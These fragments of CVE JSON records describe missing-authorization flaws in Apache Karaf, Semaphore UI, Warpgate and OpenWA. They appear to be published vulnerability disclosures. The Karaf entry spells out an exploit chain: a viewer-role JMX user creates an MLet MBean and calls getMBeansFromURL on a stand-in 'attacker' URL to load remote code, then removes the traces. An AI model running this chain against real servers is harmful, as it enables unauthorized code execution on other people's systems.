CWE-862

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          "dateUpdated": "2026-09-29T09:15:50.700Z",
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          {
            "url": "http://www.openwall.com/lists/oss-security/2026/09/28/11"
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        "title": "CVE Program Container"
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              "attackVector": "NETWORK",
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              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
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              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
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                "timestamp": "2026-10-01T14:23:22.077130Z",
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          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
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        "title": "CISA ADP Vulnrichment"
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    "cna": {
      "affected": [
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          "defaultStatus": "unaffected",
          "product": "Apache Karaf",
          "vendor": "Apache Software Foundation",
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      "credits": [
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          "type": "reporter",
          "value": "MopMonk-AI \u003cmopmonk-ai@tophant.com\u003e"
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              "value": "Apache Karaf exposes a JMX MBeanServer guarded by\u0026nbsp;\u003ccode\u003eKarafMBeanServerGuard\u003c/code\u003e, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a j\u003ccode\u003eava.lang.reflect.Proxy\u003c/code\u003e\u0026nbsp;around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in\u0026nbsp;\u003ccode\u003eMBeanInvocationHandler#guarded\u003c/code\u003e:\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003cdiv\u003e\u003ccode\u003e\u0026nbsp; private final List\u0026lt;String\u0026gt; guarded = Collections.unmodifiableList( Arrays.asList(\"invoke\", \"getAttribute\", \"getAttributes\", \"setAttribute\", \"setAttributes\"));\u003c/code\u003e\u003c/div\u003e\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003cdiv\u003eThe MBean lifecycle operations\u0026nbsp;\u003ccode\u003eMBeanServer#createMBean\u003c/code\u003e,\u0026nbsp;\u003ccode\u003e#registerMBean\u003c/code\u003e\u0026nbsp;and\u0026nbsp;\u003ccode\u003e#unregisterMBean\u003c/code\u003e\u0026nbsp;are not in this list. Calls to these methods are forwarded directly to the underlying\u0026nbsp;\u003ccode\u003eMBeanServer\u003c/code\u003e\u0026nbsp;with no role check at all, regardless of the roles configured in\u0026nbsp;\u003cspan\u003eetc/jmx.acl.*.cfg.\u003c/span\u003e\u003c/div\u003e\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003cdiv\u003eAs a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged \"\u003ccode\u003eviewer\u003c/code\u003e\" role, can call\u0026nbsp;\u003ccode\u003ecreateMBean()\u003c/code\u003e\u0026nbsp;to instantiate an arbitrary class as a MBean, and\u0026nbsp;\u003ccode\u003eunregisterMBean()\u003c/code\u003e\u0026nbsp;to remove it again afterwards, with no authorization check and no audit log entry (logging in\u0026nbsp;\u003ccode\u003eKarafMBeanServerGuard\u003c/code\u003e\u0026nbsp;only occurs on the RBAC-denial path, which this bypass never reaches).\u003c/div\u003e\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003cdiv\u003eThis is significant because\u0026nbsp;\u003ccode\u003ejavax.management.loading.MLet\u003c/code\u003e, a standard JDK MBean, can be instantiated this way.\u0026nbsp;\u003ccode\u003eMLet\u003c/code\u003e\u0026nbsp;acts as a remote classloader: its\u0026nbsp;\u003ccode\u003egetMBeansFromURL(URL)\u003c/code\u003e\u0026nbsp;operation fetches an\u0026nbsp;\u003ccode\u003eMLet\u003c/code\u003e\u0026nbsp;text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through\u0026nbsp;\u003ccode\u003eKarafMBeanServerGuard\u003c/code\u003e\u0027s existing \"invoke\" check, but the default\u0026nbsp;\u003ccode\u003eetc/jmx.acl.cfg\u003c/code\u003e\u0026nbsp;grants the \"\u003ccode\u003eviewer\u003c/code\u003e\" role to any method name matching the wildcard rule \"\u003ccode\u003eget* = viewer\u003c/code\u003e\", a heuristic intended for read-only getters. Because \"\u003ccode\u003egetMBeansFromURL\u003c/code\u003e\" happens to start with \"\u003ccode\u003eget\u003c/code\u003e\", it also matches that rule, so a default installation grants \"viewer\" callers permission to invoke it without any Karaf-specific ACL naming\u0026nbsp;\u003ccode\u003eMLet\u003c/code\u003e\u0026nbsp;at all. Combined with the createMBean gap, this gives a \"\u003ccode\u003eviewer\u003c/code\u003e\"-role JMX client a path to remote code execution to the Karaf JVM:\u003c/div\u003e\u003cdiv\u003e\u003col\u003e\u003cli\u003eAuthenticate to JMX as any user with any role (e.g. \"\u003ccode\u003eviewer\u003c/code\u003e\").\u003c/li\u003e\u003cli\u003e\u003ccode\u003embs.createMBean(\"javax.management.loading.MLet\", objectName)\u003c/code\u003e\u0026nbsp;is not in\u0026nbsp;\u003ccode\u003eGUARDED_OPERATIONS\u003c/code\u003e, no RBAC check, MLet is instantiated and registered.\u003c/li\u003e\u003cli\u003e\u003ccode\u003embs.invoke(objectName, \"getMBeansFromURL\", new Object[]{\"http://attacker/mlet.txt\"}, ...)\u003c/code\u003e\u0026nbsp;is guarded, but the method name matches the default \"\u003ccode\u003eget* = viewer\u003c/code\u003e\" ACL rule, so permitted.\u003c/li\u003e\u003cli\u003eThe remote\u0026nbsp;\u003ccode\u003e.mlet\u003c/code\u003e\u0026nbsp;file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.\u003c/li\u003e\u003cli\u003e\u003ccode\u003embs.unregisterMBean(objectName)\u003c/code\u003e\u0026nbsp;can be used to remove the MLet afterwards, also not in\u0026nbsp;\u003ccode\u003eGUARDED_OPERATIONS\u003c/code\u003e, no RBAC check, no audit trail.\u003c/li\u003e\u003c/ol\u003e\u003c/div\u003e\u003cdiv\u003eThe fix adds\u0026nbsp;\u003ccode\u003ecreateMBean\u003c/code\u003e,\u0026nbsp;\u003ccode\u003eregisterMBean\u003c/code\u003e\u0026nbsp;and\u0026nbsp;\u003ccode\u003eunregisterMBean\u003c/code\u003e\u0026nbsp;to the guarded operation list, resolves required roles for them from the\u0026nbsp;\u003ccode\u003ejmx.acl*\u003c/code\u003e\u0026nbsp;configuration by\u0026nbsp;\u003ccode\u003eObjectName\u003c/code\u003e\u0026nbsp;and (for\u0026nbsp;\u003ccode\u003ecreateMBean\u003c/code\u003e/\u003ccode\u003eregisterMBean\u003c/code\u003e) MBean class name, and ships default\u0026nbsp;\u003ccode\u003eetc/jmx.acl.cfg\u003c/code\u003e\u0026nbsp;entries restricting all three operations to the \"\u003ccode\u003eadmin\u003c/code\u003e\" role. This allows deployments to also write class-name-specific rule, e.g.:\u003c/div\u003e\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003cdiv\u003e\u003ccode\u003ecreateMBean(java.lang.String)[/javax\\.management\\.loading\\..*/] = admin\u003c/code\u003e\u003c/div\u003e\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003cdiv\u003eApache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-\"\u003ccode\u003eadmin\u003c/code\u003e\" JMX credentiels.\u003c/div\u003e"
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          "value": "Semaphore UI through 2.19.12 exempts GET and HEAD requests from project resource permission checks in GetMustCanMiddleware. Attackers with guest or task_runner roles can read all project environments including plaintext secrets, credentials, and passwords via GET requests to the environment endpoint."
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            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
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              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
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      "providerMetadata": {
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        {
          "name": "https://github.com/warp-tech/warpgate/security/advisories/GHSA-fjgc-484v-j6mf",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/warp-tech/warpgate/security/advisories/GHSA-fjgc-484v-j6mf"
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          "name": "https://github.com/warp-tech/warpgate/commit/c020900a9d85989e4280bd03184976bc33e2e61d",
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          "name": "https://github.com/warp-tech/warpgate/releases/tag/v0.28.4",
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          "url": "https://github.com/warp-tech/warpgate/releases/tag/v0.28.4"
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      "source": {
        "advisory": "GHSA-fjgc-484v-j6mf",
        "discovery": "UNKNOWN"
      },
      "title": "Warpgate: Missing authorization check on `PUT /users/:id/roles/:role_id` allows any admin to bypass the `AccessRolesAssign` permission boundary"
    }
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  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-91167",
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    "dateReserved": "2026-09-14T21:20:41.196Z",
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{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "OpenWA",
          "vendor": "rmyndharis",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.23.5"
            }
          ]
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      "descriptions": [
        {
          "lang": "en",
          "value": "OpenWA is a free, open source, self-hosted WhatsApp API gateway. Prior to 0.23.5, the /events WebSocket gateway delivers the session.qr event to a VIEWER API key that subscribes by event name or through either wildcard subscription form, even though GET /api/sessions/{sessionId}/qr requires the OPERATOR role. When an allowed session is waiting to be paired, the exposed QR lets the key holder link an external device to the WhatsApp account and then read and send messages outside OpenWA and its audit trail. Keys restricted through allowedSessions remain limited to those sessions, and deployments that issue only OPERATOR or ADMIN keys are not affected. This issue is fixed in version 0.23.5."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
            "version": "3.1"
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              "cweId": "CWE-862",
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        "dateUpdated": "2026-09-24T16:42:02.788Z",
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        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/rmyndharis/OpenWA/security/advisories/GHSA-m427-j4h4-9qwj",
          "tags": [
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          ],
          "url": "https://github.com/rmyndharis/OpenWA/security/advisories/GHSA-m427-j4h4-9qwj"
        },
        {
          "name": "https://github.com/rmyndharis/OpenWA/pull/1602",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/rmyndharis/OpenWA/pull/1602"
        },
        {
          "name": "https://github.com/rmyndharis/OpenWA/commit/acc23c3803c07f43791a92e8e48456572fd69bdc",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/rmyndharis/OpenWA/commit/acc23c3803c07f43791a92e8e48456572fd69bdc"
        },
        {
          "name": "https://github.com/rmyndharis/OpenWA/commit/b9d9ea1c57bde98b7833a5d6e482998703667ef0",
          "tags": [
            "x_refsource_MISC"
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          "url": "https://github.com/rmyndharis/OpenWA/commit/b9d9ea1c57bde98b7833a5d6e482998703667ef0"
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        {
          "name": "https://github.com/rmyndharis/OpenWA/releases/tag/v0.23.5",
          "tags": [
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          "url": "https://github.com/rmyndharis/OpenWA/releases/tag/v0.23.5"
        }
      ],
      "source": {
        "advisory": "GHSA-m427-j4h4-9qwj",
        "discovery": "UNKNOWN"
      },
      "title": "OpenWA: A read-only API key can receive a session pairing QR over the WebSocket event stream"
    }
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    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-91160",
    "datePublished": "2026-09-24T16:42:02.788Z",
    "dateReserved": "2026-09-14T21:20:41.196Z",
    "dateUpdated": "2026-09-24T16:42:02.788Z",
    "state": "PUBLISHED"
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